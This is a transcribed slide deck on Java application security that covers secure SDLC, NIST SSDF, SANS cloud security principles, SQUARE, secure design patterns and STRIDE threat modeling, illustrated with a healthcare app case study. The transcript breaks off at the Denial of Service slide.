Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Java Application Security

Java Application Security

Secure SDLC
- NIST Secure SDF / SANS Cloud Architecture
- Security Quality Assurance / SQUARE Framework
- Secure Design Patterns / Threat Modeling
- Enterprise Security, Zero Trust, SDN, SDP
- Security Policies / Kubernetes Policies
- Service Mesh / Server Hardening
- (Linux, Apache, Tomcat, PostgreSQL, Mongo, MySQL, Redis)
DevOps & SRE
- DevOps Lean Thinking, SAST / DAST
- 5 Principles of DevOps / CALMS Framework
- SRE Implements DevOps / Shift Left
- Infrastructure as a Code / Observability
Security Controls & DevSecOps
- Application Security Controls
- Generic Controls
- HIPAA / PCI Controls
- DevSecOps
Java Application Vulnerabilities
- Cross-Site Scripting Vulnerability (XSS)
- Buffer Overflow Exploit
- Directory Traversal Exploit
- Command / Shell Injection Exploit
- Vulnerable and Outdated Components
- HTTP Response Split Vulnerability
- Parameter Manipulation Vulnerability
- SQL Injection Vulnerability
- XML Entity Injection / (XXE) Attack
- XPath Injection Attack
- Cross-Site Request Forgery (CSRF)
- Server-Side Request Forgery (SSRF

Araf Karsh Hamid

August 12, 2022

More Decks by Araf Karsh Hamid

Other Decks in Technology


  1. @arafkarsh arafkarsh 8 Years Network & Security 6+ Years Microservices

    Blockchain 8 Years Cloud Computing 8 Years Distributed Computing Architecting & Building Apps a tech presentorial Combination of presentation & tutorial ARAF KARSH HAMID Co-Founder / CTO MetaMagic Global Inc., NJ, USA @arafkarsh arafkarsh 1 Java Application Security Secure SDLC DevOps & SRE Security Controls & DevSecOps Java Application Vulnerabilities To Build Cloud Native Apps Using Composable Enterprise Architecture Part 14 of 15
  2. @arafkarsh arafkarsh BPB Building Cloud Native Apps 2 Coming Soon….

    Section CH Chapter Title Pages Final Pages Setting the Context 1. Understanding Cloud Architecture 25 36 2. Architecture Styles & Patterns 25 48 Specifications 3. Design Thinking, Lean Startup & Agile 15 30 4. Epics, User Stories, MVP, and Releases 25 29 Design Patterns 5. Domain-Driven Design 35 40 6. Event Sourcing & CQRS 25 35 7. Monolith Migration Patterns 25 35 8. Microservices Patterns 35 40 Development Strategies 9. Microservices with Java and Springboot 35 40 10 Microservices Testing Strategies 35 40 11. Infra Code - Container & Kubernetes 35 35 12 Security & Service Mesh 25 40 Deployment Process 13 Build Pipelines and CI/CD 10 15 14 Observability in Microservices 10 10 15 DevOps 10 15 16 DevSecOps 10 15 Total 380 503
  3. @arafkarsh arafkarsh 3 Secure SDLC NIST Secure SDF / SANS

    Cloud Architecture Security Quality Assurance / SQUARE Framework Secure Design Patterns / Threat Modeling Enterprise Security, Zero Trust, SDN, SDP 1 Secure SDLC Security Policies / Kubernetes Policies Service Mesh / Server Hardening (Linux, Apache, Tomcat, PostgreSQL, Mongo, MySQL, Redis) 2 DevOps & SRE DevOps Lean Thinking, SAST / DAST 5 Principles of DevOps / CALMS Framework SRE Implements DevOps / Shift Left Infrastructure as a Code / Observability 3 Security Controls & Ops Application Security Controls Generic Controls HIPAA / PCI Controls DevSecOps 4 Java Code Vulnerabilities Cross-Site Scripting Vulnerability (XSS) Buffer Overflow Exploit Directory Traversal Exploit Command / Shell Injection Exploit Vulnerable and Outdated Components HTTP Response Split Vulnerability 5 Java Code Vulnerabilities Parameter Manipulation Vulnerability SQL Injection Vulnerability XML Entity Injection / (XXE) Attack XPath Injection Attack Cross-Site Request Forgery (CSRF) Server-Side Request Forgery (SSRF) 6
  4. @arafkarsh arafkarsh 0 Setting the Context o Threats, Vulnerabilities &

    Defense o Secure SDLC o Modernizing Journey o Case Study: Health Care App 4
  5. @arafkarsh arafkarsh Management Pipeline Automation Architecture SpecOps Workflow – Secure

    SDLC 6 Green Field Brown Field Domain Driven Design Event Sourcing / CQRS Migration Patterns Strangler Fig, CDC… Build Design Develop Test Stage Ops Cloud • Fault Tolerance • Reliability • Scalability • Traffic Routing • Security • Policies • Observability • Unit Testing • Component • Integration • Contract • SAST • DAST • Package Repositories • Mvn, npm, docker hub • Infrastructure • Containers • Orchestration • Serverless • Traffic Routing • Security (mTLS, JWT) • Policies (Network / Security) • Observability Infra Code • Feature Code • Configs Source Code Specs
  6. @arafkarsh arafkarsh Modernization Journey towards Cloud Native Apps 7 Source:

    Page 16 US DoD Enterprise DevSecOps 2.0 Fundamentals
  7. @arafkarsh arafkarsh What exactly is a Minimum Viable Product? 8

    Let us understand this with a case study on eCommerce Shopping Portal.
  8. @arafkarsh arafkarsh Example: Healthcare App 9 Theme / Initiative Epic

    User Story Sprint Healthcare / We Care 1. Patient 2. Healthcare Staff 3. Appointments 4. Diagnosis 5. Lab 6. Pharmacy 7. Auth 4. Diagnosis Release 1 1. Pre-Checkup 2. Search Medical History 3. Diagnosis & Prescription Release 2 1. Prescribe for Lab Tests Stories 1. Pre-Checkup 2. Search Medical History 3. Diagnosis & Prescription 4. Prescribe for Lab Tests
  9. @arafkarsh arafkarsh User Journey with Story Map & Release Cycles

    10 1. Register 3. Make Appointment 4. Diagnosis and Prescription 6. Get Medicine 5. Lab Tests Health Staff Appointment Pharmacy Lab Diagnosis 2. Search & Select Doctor Patient User Journey Minimum Viable Product Upload Medical Docs Add Doctor / Nurse Cancel Appointment R2 Lab Tests View Medical History Duty Calendar R3 Reschedule Register Search Doctor Available Dates Book Appointment Medical History Check Verify Prescription Pack Medicines R1 Pre-Checkup Diagnosis & Prescription Appointment Upload Results Schedule Duty Time Make Payment Share Medical Docs R4 Appointment Calendar Make Payment View Appointments Email SMS
  10. @arafkarsh arafkarsh Data Flow Diagram – L0 / System Context

    Diagram 11 • System Context Diagram or Level 0. • An abstraction view • Shows the system as a single process with its relationship to external entities. • It represents the entire system as a single bubble with input and output data indicated by incoming/outgoing arrows.
  11. @arafkarsh arafkarsh Data Flow Diagram – L1 12 • The

    L0 Context diagram is decomposed into multiple bubbles / processes. • Highlight the system's primary functions and • Break down the high-level process of 0-level DFD into subprocesses.
  12. @arafkarsh arafkarsh Data Flow Diagram – L2 13 • The

    L1 Data Flow Diagram is decomposed into multiple bubbles / processes. • Highlights the details of that Specific Business Process. • It also shows the data stores associated with that Sub Process.
  13. @arafkarsh arafkarsh Security o NIST: Secure Software Development Framework o

    Cloud Security Architecture o SANS Cloud Security Architecture & Principles 16
  14. @arafkarsh arafkarsh 17 CASB: Cloud Access Security Broker SIEM: Security

    Information Event Management SOAR: Security Orchestration, Automation, and Response XDR: Extended Detection and Response MDR: Managed Detection and Response NDR: Network Detection and Response PTaaS: Penetration Testing as a Service ITDR: Integrated Threat Defense Response
  15. @arafkarsh arafkarsh NIST Secure Software Development Framework o Prepare the

    Organization o Protect the Software o Produce Well-Secured Software o Respond to Vulnerability Reports 18
  16. @arafkarsh arafkarsh NIST: Secure Software Development Framework 19 1. Prepare

    the Organization: This includes providing necessary training, establishing an incident response team, defining security roles and responsibilities, and identifying security requirements. 2. Protect the Software: It covers how to manage the security risks in the software, which includes conducting threat modeling, using approved tools, libraries, and frameworks, securing your environments, and implementing secure coding practices. 3. Produce Well-Secured Software: This involves properly implementing security practices during the software development process. It includes performing security testing, conducting code reviews, managing external software components, and creating a secure software bill of materials. 4. Respond to Vulnerability Reports: The organization must respond effectively if a vulnerability is found in the software. This includes managing vulnerability reports, fixing known vulnerabilities, and communicating with stakeholders.
  17. @arafkarsh arafkarsh SSDF: Prepare the Organization 20 1. Training: Develop

    and deliver training to software developers, security teams, and other relevant personnel on secure software development practices. This could include secure coding techniques, threat modeling, using security tools, and understanding common vulnerabilities. 2. Incident Response Team: Form a cross-functional team responsible for responding to security incidents. This team should be trained in incident response procedures and have clear roles and responsibilities. 3. Define Roles & Responsibilities: Establish clear roles and responsibilities related to security within the software development process. This could include identifying who is responsible for carrying out security testing, who handles security incidents, and who makes decisions about risk acceptance. 4. Security Requirements: Establish a process for identifying and documenting security requirements for each software project. These requirements should be informed by business needs, regulatory requirements, and threat modeling activities.
  18. @arafkarsh arafkarsh SSDF: Protect the Software 21 1. Threat Modeling:

    Carry out threat modeling activities during the design phase of software development. This should include identifying potential threats, assessing their potential impact, and designing controls to mitigate them. 2. Use of Approved Tools, Libraries & Frameworks: Define a list of approved development tools, libraries, and frameworks known to be secure. Developers should be encouraged to use these whenever possible and avoid using unvetted third-party components. 3. Secure Environments: Implement controls to secure the environments in which software is developed and tested. This could include network security controls, access controls, and the secure configuration of development tools and servers. 4. Secure Coding Practices: Implement a set of secure coding standards and practices, and ensure that developers are trained. This could include practices to prevent common vulnerabilities such as injection attacks, cross-site scripting (XSS), and insecure direct object references (IDOR).
  19. @arafkarsh arafkarsh SSDF: Produce Well-Secured Software 22 1. Security Testing:

    Implement a robust security testing program. This should include a combination of automated and manual testing techniques and cover functional and non-functional security requirements. 2. Code Reviews: Conduct regular code reviews focusing on identifying potential security issues. Ideally, This should be done by someone other than the code’s author. 3. Manage External Software Components: Implement a process for managing the use of external software components. This should include tracking which components are used, assessing them for security vulnerabilities, and ensuring they are up-to-date. 4. Secure Software Bill of Materials: Create a secure software bill of materials (SBOM) for each software product. This should list all of the components used in the software, along with details of their version and patch status.
  20. @arafkarsh arafkarsh SSDF: Respond to Vulnerability Reports 23 1. Vulnerability

    Management: Implement a process for handling reports of vulnerabilities in your software. This should include a method for users to report vulnerabilities, a process for validating and prioritizing these reports, and a process for remediation. 2. Remediation: Ensure a process is in place to remediate identified vulnerabilities quickly. This might involve patching the software, implementing a workaround, or accepting the risk based on a business decision. 3. Communication: Develop a communication plan to inform stakeholders about security issues. This might involve notifying users about security vulnerabilities, informing them about available patches, or advising them on mitigating risks.
  21. @arafkarsh arafkarsh SANS Cloud Security Architecture Principles 25 Source: RSA

    Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute Think Components Design for Failure Always Think of Feedback Loops Use Different Storages Options Built-In Security at every Layer CENTRALIZATION Focus on Centralization Standards & Automation Design for Elasticity
  22. @arafkarsh arafkarsh Built-In Security At Every Layer 26 Built-In Security

    at every Layer • Cloud Architecture is composed of Multiple Layers. From a Cloud Native App perspective Each Microservice is specific layer in the Application Stack. • Each Layer must be self defending. • Each Layer Must have a Security Layer to be part of Defense in Depth. • Depends on the Security Guidelines / Policies some of the security measures will be internal some external. Source: RSA Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute
  23. @arafkarsh arafkarsh Built-In Security At Every Layer 27 Stack Layer

    Controls 1 Data Backup, Data Leak Prevention, Encryption in Transit and Rest. 2 Application Logic + Presentation Web App Firewall, Secure Web Gateway, Identity & Access Management, Scans / Pen Tests, Service Mesh Policies 3 Network Access Controls, Firewalls, Service Mesh, Routing, DDoS Defense 4 Operating Systems Backups, Configuration, Vulnerability Scanning, User / Privilege Management 5 Hypervisor Configuration, Access Controls, User / Privilege Management Source: RSA Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute Built-In Security at every Layer
  24. @arafkarsh arafkarsh Built-In Security At Every Layer 28 Source: RSA

    Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute Built-In Security at every Layer o Cloud introduced very frequent changes to the environment (Infrastructure / Software) o Security Measures must be embedded for these Rapid changes. 1. Defining Security in the Code (Functional Code, Security Policies) 2. Include Security Configuration Params for the Container / Virtual Machines 3. Automating Security Processes & Activities 4. Building Continuously Monitored Environments o Many of these are realized through Sound DevSecOps Practices.
  25. @arafkarsh arafkarsh Think ”Components” 29 Source: RSA Conference 2019 –

    A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute Think Components o From Systems to Component based thinking is a Major shift for Security Professionals o Cloud is more oriented towards component-based model and linked together based on Business requirements o Key aspects of Component is – Reusability o Network Policies o Security Policies ▪ The above can be applied across multiple clouds ▪ Ex. Terraform, Kubernetes, Service Mesh
  26. @arafkarsh arafkarsh Design for Failure 30 Design for Failure Source:

    RSA Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute o In the Cloud Failure is common o Elasticity Issues o Configuration Issues o Cloud Provider Issues o Chaos Engineering plays a big Role in Preparing for this o Product ion – Network Testing o Production – Security Testing o Production – Performance Testing Minimize Blast Radius Chaos Engineering Principle
  27. @arafkarsh arafkarsh Design for Elasticity 31 Source: RSA Conference 2019

    – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute o Microservices, Containers and Kubernetes brought automated dynamic scaling up and down of the systems (containers) o This is a new environment from Security Perspective compared with old Static environment (Changes are periodic and planned). o Designing Elasticity from Security Perspective o Vertical or Horizontal Scaling o What thresholds are appropriate for scaling up & down o How will inventory management adjust to system volume changes o Images new systems are spawned from o Where are new systems located in the network o Host Based Security + Licensing Design for Elasticity
  28. @arafkarsh arafkarsh Make use of Different Storage Options 32 Source:

    RSA Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute Use Different Storages Options o There are many types of Storage options available in Cloud and each has its own security features. o Design the Data Security based on the storage options. o Things to consider and evaluate o Storage have appropriate SLA o Storage options for Dev and Ops o Storage have adequate Redundancy & Archival o Storage have native encryption capabilities o Storage have adequate logging and event generation
  29. @arafkarsh arafkarsh Always think of Feedback Loops 33 Source: RSA

    Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute o One of the most critical Principle is Feedback Loops o One of the critical aspect of Feedback loops is Logging o Enable Logging everywhere you can o Within the entire cloud environment (Cloud Trail –Azure, Cloud Watch – AWS, Stack Driver – Google) o OS Types, Network Platforms o For All Identity & Access Management o For all Interconnected services and their activity o Feedback Loops = Logging o Secure Log Access Always Think of Feedback Loops
  30. @arafkarsh arafkarsh Focus on Centralization, Standards, Automation 34 Source: RSA

    Conference 2019 – A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute o Centralization – Having a Single Glass of Pane to see all the things happening in the cloud. o Using the Same vendor Products across all the environments (Cloud, On-Premise) – If Possible o Standardization – Go with well known standards o SAML and OpenID – Connect for IAM o YAML for Configs / Infra as Code o AES-256+ for Crypto o Automation – Is the Key for DevOps and DevSecOps. Manual efforts are doomed to fail due to rapid changes. CENTRALIZATION Focus on Centralization Standards & Automation
  31. @arafkarsh arafkarsh Blast Radius 35 Source: RSA Conference 2019 –

    A Cloud Security Architecture workshop. Dave Shackleford Sr. Instructor SANS Institute o One of the Core Security Concepts in the world of DevOps & Cloud Computing is the Blast Radius o It’s the amount of damage that could be caused if something goes wrong o An Account or Server gets hacked o A Component Fails o Design the Security Model in such a way that the damage is limited to that area or Service. o In Microservices architecture link this concept with Circuit Breakers, Bulkhead Design Patterns.
  32. @arafkarsh arafkarsh SQA – 7 Steps 37 1. Security Requirements

    Analysis: One of the first steps in SQA is defining and understanding the security requirements of the software. This includes identifying potential threats, specifying security objectives, and defining the necessary security controls. Tools such as threat modeling, risk assessments, and the SQUARE methodology can be used in this phase. 2. Secure Design and Coding Practices: The SQA process emphasizes the importance of security from the earliest stages of software development. This involves following secure coding practices to prevent common vulnerabilities and adhering to a secure software design emphasizing principles such as least privilege, defense in depth, and secure defaults. 3. Security Testing: This involves various types of testing, such as static application security testing (SAST), dynamic application security testing (DAST), and penetration testing, to identify potential vulnerabilities in the software. Security testing should be conducted regularly throughout the SDLC.
  33. @arafkarsh arafkarsh SQA – 7 Steps 38 4. Code Reviews

    and Audits: Regular code reviews by peers or automated tools can help catch potential security issues early. Audits, often conducted by independent third parties, can assess the software's overall security and identify improvement areas. 5. Incident Response and Management: Despite all precautions, incidents may still occur. SQA involves having an incident response plan to handle security incidents efficiently and effectively. This includes procedures for identifying, containing, eradicating, and recovering from incidents and post-incident reviews to learn from the incident. 6. Continuous Monitoring and Improvement: SQA is not a one-time activity but a continuous process that involves monitoring the software for potential security issues and continually improving the security controls based on the feedback received. This includes staying up-to- date with the latest security trends and adjusting the security measures accordingly. 7. Training and Awareness: It’s essential to ensure that all team members involved in the software development process know the importance of security and are trained in secure development practices. This can significantly reduce the chance of security issues arising due to human error or oversight.
  34. @arafkarsh arafkarsh Software Quality Assurance 39 Quality Model This component

    defines a hierarchical structure of quality characteristics and sub-characteristics that help to identify, describe, and measure various aspects of software quality. Examples of quality characteristics include functionality, reliability, usability, efficiency, maintainability, and portability. Quality Requirements: Quality requirements are derived from the quality model and describe the desired level of quality for a specific software system. These requirements are typically specified as part of the system requirements and may include qualitative and quantitative measures. Quality Evaluation This component assesses the degree to which a software system meets its quality requirements. Quality evaluation may involve various techniques, such as testing, inspection, and analysis, to identify potential issues and determine whether the system satisfies the defined quality criteria. Quality Management Quality management involves planning, organizing, and monitoring the activities related to quality requirements engineering to ensure that the software system meets its quality goals. This component encompasses the entire software development lifecycle, from initial requirements analysis to post- deployment maintenance. You will find similar concepts in ISO/IEC 27001 a standard for Information Security Management Systems
  35. @arafkarsh arafkarsh Quality Requirements 40 Translate the identified quality characteristics

    into specific, measurable quality requirements for the healthcare app. Some examples may include: 1. The app must be compliant with HIPAA and other relevant data privacy regulations. 2. The app should have a 99.9% uptime, with a maximum of 5 minutes of unplanned downtime per month. 3. The average response time for search queries should be at most 2 seconds. 4. The app must be compatible with the latest iOS and Android versions and popular web browsers.
  36. @arafkarsh arafkarsh Quality Model 41 First, identify the relevant quality

    characteristics and sub-characteristics for the healthcare app. Some examples may include: 1. Functionality: accuracy of medical information, ease of data entry, interoperability with other healthcare systems, and data privacy compliance. 2. Reliability: system availability, fault tolerance, and data backup/recovery. 3. Usability: user-friendly interfaces for patients, doctors, nurses, and pharmacists; accessibility features for users with disabilities; and multilingual support. 4. Efficiency: fast response times for search queries, minimal resource usage, and optimized data storage. 5. Maintainability: modularity of code, ease of updating medical information, and efficient bug fixing. 6. Portability: compatibility with various devices and operating systems, easy integration with other healthcare software, and support for future technology advancements.
  37. @arafkarsh arafkarsh Quality Evaluation 42 Design and implement evaluation processes

    to assess the healthcare app's compliance with the defined quality requirements. These processes may include: 1. Conducting user testing with patients, doctors, nurses, and pharmacists to evaluate usability and identify potential improvements. 2. Performing automated and manual testing to identify and address functionality issues, security vulnerabilities, and performance bottlenecks. 3. Monitoring system performance and resource usage to ensure compliance with efficiency requirements. 4. Conducting code reviews and using static code analysis tools to assess maintainability and adherence to coding standards.
  38. @arafkarsh arafkarsh Quality Management 43 Develop a quality management plan

    for the healthcare app to ensure continuous quality improvement throughout the development process. This may involve: 1. Establish a cross-functional quality team to oversee quality-related activities, including development, testing, and user experience team representatives. 2. Setting up a quality assurance process, including regular reviews of requirements, design, code, and testing artifacts. 3. Implementing a continuous integration and deployment pipeline to ensure rapid feedback on potential quality issues. 4. Defining clear roles and responsibilities for quality-related tasks and providing relevant training to team members. 5. Monitoring and reviewing quality metrics and using them to guide ongoing improvements to the healthcare app.
  39. @arafkarsh arafkarsh 9 Steps in SQUARE 45 1. Agree on

    definitions: This is the initial step where project stakeholders agree on definitions for security concepts that will be used throughout the project. 2. Identify security goals: The stakeholders identify high-level security objectives for the software product. 3. Develop artifacts to support security requirements definition: The team develops supporting materials (e.g., system diagrams, data flow diagrams) that will help in the identification of security requirements. 4. Perform risk assessment: This step involves identifying potential security risks and their impacts and using this information to prioritize security goals and requirements. 5. Select elicitation techniques: The team selects techniques for gathering security requirements based on the project’s specific context and constraints. 6. Elicit security requirements: The team uses the selected techniques to gather security requirements from various sources, such as stakeholders and existing documentation. 7. Categorize requirements: The gathered requirements are categorized (e.g., by priority, by the security goal they support) to aid in their analysis. 8. Prioritize security requirements: The team prioritizes the security requirements based on factors like risk level, cost of implementation, and stakeholder value. 9. Inspect requirements: The team reviews the requirements for completeness, consistency, and other quality factors. This step may lead to further refinement of the requirements.
  40. @arafkarsh arafkarsh Example: Healthcare App 46 1. Agree on definitions:

    In this step, all the stakeholders agree on the common security terminologies to avoid confusion in later stages. For example, "Data breach" might be defined as "an incident in which unauthorized individuals access sensitive, protected health information." 2. Identify security goals: The stakeholders identify high-level security objectives for the app. For example, a major security goal could be to "ensure the confidentiality, integrity, and availability of patient health information." 3. Develop artifacts to support security requirements definition: This could include creating a system architecture diagram that shows how patient data flows through the app, or a list of potential actors who could interact with the app, such as patients, healthcare providers, system administrators, etc.
  41. @arafkarsh arafkarsh Example: Healthcare App 47 4. Perform risk assessment:

    Identify the potential threats and risks to the app. For example, unauthorized access to patient health records, data corruption, system downtime. Once identified, assess the potential impact of each risk and their likelihood of occurrence. 5. Select elicitation techniques: Determine the best techniques to gather the security requirements. This could include interviewing stakeholders, reviewing regulatory requirements (like HIPAA in the United States), or conducting threat modeling exercises. 6. Elicit security requirements: Gather the specific security requirements using the techniques selected in the previous step. For example, "The system shall authenticate users before granting access to patient health information", or "The system shall encrypt patient health information at rest and in transit."
  42. @arafkarsh arafkarsh Example: Healthcare App 48 7. Categorize requirements: Group

    the gathered requirements based on their categories. For example, requirements might be grouped into categories like "Authentication", "Data Integrity", "Confidentiality", "Availability", etc. 8. Prioritize security requirements: Based on factors such as risk level, regulatory importance, cost of implementation, and stakeholder value, prioritize the requirements. For example, "Implementing two-factor authentication for all users" might be considered a high-priority requirement due to its importance for data confidentiality. 9. Inspect requirements: Review the requirements for completeness, consistency, and other quality factors. For instance, check if there are any conflicting requirements, or if any security goals have been overlooked.
  43. @arafkarsh arafkarsh Secure Design Patterns 1. Least Privilege Principle 2.

    Defense-in-Depth 3. Input Validation & Sanitation 4. Secure By Default 5. Principle of Least Astonishment 49 6. Secure Failure 7. Separation of Duties 8. Secure Data Storage & Transmission 9. Regular Security Updates & Patching 10. Security Monitoring & Auditing
  44. @arafkarsh arafkarsh Secure Design Patterns 50 Least Privilege Principle Ensure

    that users and system components have the minimum permissions necessary to perform their tasks. This limits the potential damage from security breaches and helps maintain the privacy and integrity of sensitive healthcare data. Defense-in-Depth: Implement multiple layers of security controls throughout the application to reduce the likelihood of a single point of failure. This may include network firewalls, secure communication protocols, strong authentication and authorization mechanisms, and intrusion detection systems. Example: Doctors, nurses, patients, and pharmacists in the healthcare app should have different access levels to medical records and other sensitive data. A nurse might have access to view a patient's medical history but not modify it. A pharmacist would only have access to a patient's prescriptions, not their entire medical record. Example: The healthcare app could employ multiple security layers, such as using a web application firewall to filter incoming traffic, encrypting data with HTTPS during transmission, and implementing two-factor authentication for user accounts to reduce unauthorized access.
  45. @arafkarsh arafkarsh Secure Design Patterns 51 Input Validation and Sanitization

    Validate and sanitize all user inputs to prevent security vulnerabilities like SQL injection, cross-site scripting, and buffer overflow attacks. Use strict validation rules, whitelist-allowed input values, and employ output encoding when displaying user-generated content. Secure by Default Design the healthcare app to be secure out of the box, with the most restrictive security settings enabled by default. Users should explicitly opt out of security features or choose to lower their security settings. Example: When a doctor enters a prescription, the app should validate the input to ensure it only contains valid characters and adheres to proper prescription format. This prevents potential attacks, like SQL injection, by rejecting or sanitizing malicious inputs. Example: The healthcare app should have all its security features enabled upon installation, such as encrypted data storage, strong password requirements, and strict access controls. Users should be explicitly informed if they decide to disable or modify these default settings.
  46. @arafkarsh arafkarsh Secure Design Patterns 52 Principle of Least Astonishment

    Design the app's user interface and functionality to be clear and predictable, minimizing the likelihood of users making security-related mistakes. For example, ensure that privacy settings are easily understood and that users are aware of the implications of sharing their healthcare data. Secure Failure Ensure that the app fails securely in the event of an error or security breach. This may involve implementing robust error handling, logging, and monitoring mechanisms to detect and respond to security incidents. Example: The app's privacy settings should be clearly labeled, with explanations of how data sharing options affect user privacy. If a patient opts to share their medical history with a new doctor, the app should provide a clear indication of what information will be shared and with whom. Example: If the healthcare app encounters an error while processing a patient's medical record, it should not reveal sensitive information in error messages. Instead, it should log the error and notify the appropriate administrators while presenting a generic error message to the user.
  47. @arafkarsh arafkarsh Secure Design Patterns 53 Separation of Duties: Separate

    critical functions of the app, such as data access, system administration, and audit logging, among different roles or components. This helps prevent unauthorized access to sensitive data and reduces the risk of insider threats. Secure Data Storage and Transmission Encrypt sensitive healthcare data both at rest and in transit using strong cryptographic algorithms and protocols. Implement proper key management practices to protect encryption keys and ensure data privacy and integrity. Example: The app's administrative functions could be divided into separate roles. One role may manage user accounts, while another role is responsible for database administration. By separating these duties, it becomes more difficult for a single malicious actor to compromise the entire system. Example: The healthcare app could use end-to-end encryption to protect sensitive data, such as patient records and prescriptions, both in storage and during transmission. This ensures that only authorized users can access the data, even if it's intercepted by a third party.
  48. @arafkarsh arafkarsh Secure Design Patterns 54 Regular Security Updates and

    Patch Management Keep the healthcare app up to date with the latest security patches and updates. Establish a process for monitoring, assessing, and applying security updates in a timely manner to reduce the risk of known vulnerabilities being exploited. Security Monitoring and Auditing: Implement continuous monitoring and auditing mechanisms to detect and respond to security events. Regularly review logs and audit trails to identify potential security issues, and use this information to inform ongoing improvements to the app's security posture. Example: The development team should have a process in place for regularly checking for security updates to the app's dependencies and applying patches as needed. Additionally, the team should be proactive in addressing newly discovered vulnerabilities and releasing updates to users promptly. Example: The healthcare app could use a combination of intrusion detection systems and security information and event management (SIEM) tools to monitor for suspicious activity. Regular audits of user access logs and system events can help identify potential security issues, such as unauthorized access to sensitive data or attempts to exploit known vulnerabilities.
  49. @arafkarsh arafkarsh Threat Modeling 1. Identify Assets 2. Create an

    Architecture overview 3. Identify Potential Threats 4. Prioritize Threats 55 5. Define Mitigation Strategies 6. Validate and Iterate 7. Integrate into Development Process
  50. @arafkarsh arafkarsh Threat Modeling 56 Identify assets Determine the critical

    assets in the healthcare app that need protection. These may include patient records, medical histories, prescription information, and billing data. Create an architectural overview Develop a high-level representation of the app's architecture, including components, data flows, and interactions with external systems. This overview will help in understanding potential attack vectors and entry points for attackers. Identify potential threats Analyze the architectural overview to identify possible threats and attack scenarios. Common threat sources in a healthcare app may include unauthorized access to patient data, data tampering, man-in-the-middle attacks, and denial of service attacks. Threat modeling frameworks, such as STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege), can be used to categorize and systematically identify potential threats.
  51. @arafkarsh arafkarsh Threat Modeling 57 Define mitigation strategies For each

    high-priority threat, devise countermeasures to mitigate the risk. These strategies include implementing secure design patterns, applying security best practices, and adopting relevant security technologies. Validate and iterate Validate the effectiveness of the proposed countermeasures by revisiting the threat model and analyzing how the mitigations address the identified threats. Threat modeling should be an iterative process, evolving alongside the app's development to continuously identify and address new threats Integrate into the development process. Incorporate threat modeling into the development process, making it an integral part of the requirements gathering, design, implementation, and testing phases. This ensures that security is considered throughout the app's lifecycle, resulting in a more secure and robust healthcare application. Prioritize threats Rank the identified threats based on their likelihood and potential impact on the healthcare app. This step helps in focusing resources on the most critical threats. The DREAD (Damage, Reproducibility, Exploitability, Affected Users, and Discoverability) model is one of the methods used to prioritize threats by assigning a numerical score to each threat.
  52. @arafkarsh arafkarsh Popular Threat Modeling Standards 58 STRIDE Developed by

    Microsoft, STRIDE is an acronym for Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. It categorizes threats into these six types and is often used in the context of software development and application security. PASTA (Process for Attack Simulation and Threat Analysis) PASTA is a risk-centric threat modeling methodology that simulates potential attacks and analyzes their impact on the system. It involves seven stages, starting from defining objectives and scoping the threat model to analyzing and prioritizing threats. Trike Trike is a threat modeling methodology focusing on a system's data assets and evaluating the risks associated with data access, modification, or disclosure. It uses a risk management approach to identify and prioritize threats based on their potential impact on the system's assets. S P T
  53. @arafkarsh arafkarsh Popular Threat Modeling Standards 59 CVSS (Common Vulnerability

    Scoring System) CVSS is a widely adopted standard for assessing the severity of software vulnerabilities. It provides a numerical score and a qualitative rating to help organizations prioritize vulnerabilities based on their impact, exploitability, and other factors. OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) Developed by CERT/CC, OCTAVE is a risk-based strategic assessment and planning methodology for organizations to identify and manage their most critical risks. C O
  54. @arafkarsh arafkarsh STRIDE: Health Care App 60 Spoofing: Spoofing threats

    involve an attacker impersonating a legitimate user, system, or service to gain unauthorized access to sensitive information or perform malicious actions. Example: An attacker could impersonate a patient or a healthcare provider to access sensitive medical records or modify patient data. Mitigations: • Implement strong authentication mechanisms, such as multi-factor authentication (MFA) and password policies, to prevent unauthorized access. • Use digital certificates and secure communication channels (e.g., HTTPS) to ensure the authenticity of the app and its components.
  55. @arafkarsh arafkarsh STRIDE: Health Care App 61 Tampering Tampering threats

    involve unauthorized modification of data, code, or system configurations. Example: An attacker could tamper with the healthcare app's code, introducing a backdoor or modifying the data stored in the database. Mitigations: • Use secure coding practices and perform regular code reviews and security testing to detect vulnerabilities. • Apply cryptographic techniques, such as digital signatures or hashes, to ensure the integrity of data and code. • Use access controls and secure database configurations to prevent unauthorized data modifications.
  56. @arafkarsh arafkarsh STRIDE: Health Care App 62 Repudiation: Repudiation threats

    involve an attacker performing malicious actions without the possibility of being traced or held accountable. Example: A malicious healthcare provider could alter a patient's medical record without leaving any trace of the modification. Mitigations: • Implement comprehensive logging and auditing mechanisms to track user actions and system events. • Use digital signatures and non-repudiation techniques to ensure the authenticity and integrity of user actions. • Regularly review logs and monitor for suspicious activity.
  57. @arafkarsh arafkarsh STRIDE: Health Care App 63 Information Disclosure: Information

    disclosure threats involve unauthorized access or exposure of sensitive data. Example: An attacker could exploit a vulnerability in the healthcare app to access and leak patients' medical records. Mitigations: • Encrypt sensitive data in transit (e.g., using HTTPS) and at rest (e.g., using encryption algorithms like AES). • Use access controls and role-based access control (RBAC) to limit access to sensitive information. • Perform regular security testing and vulnerability assessments to detect and fix potential vulnerabilities.
  58. @arafkarsh arafkarsh STRIDE: Health Care App 64 Denial of Service

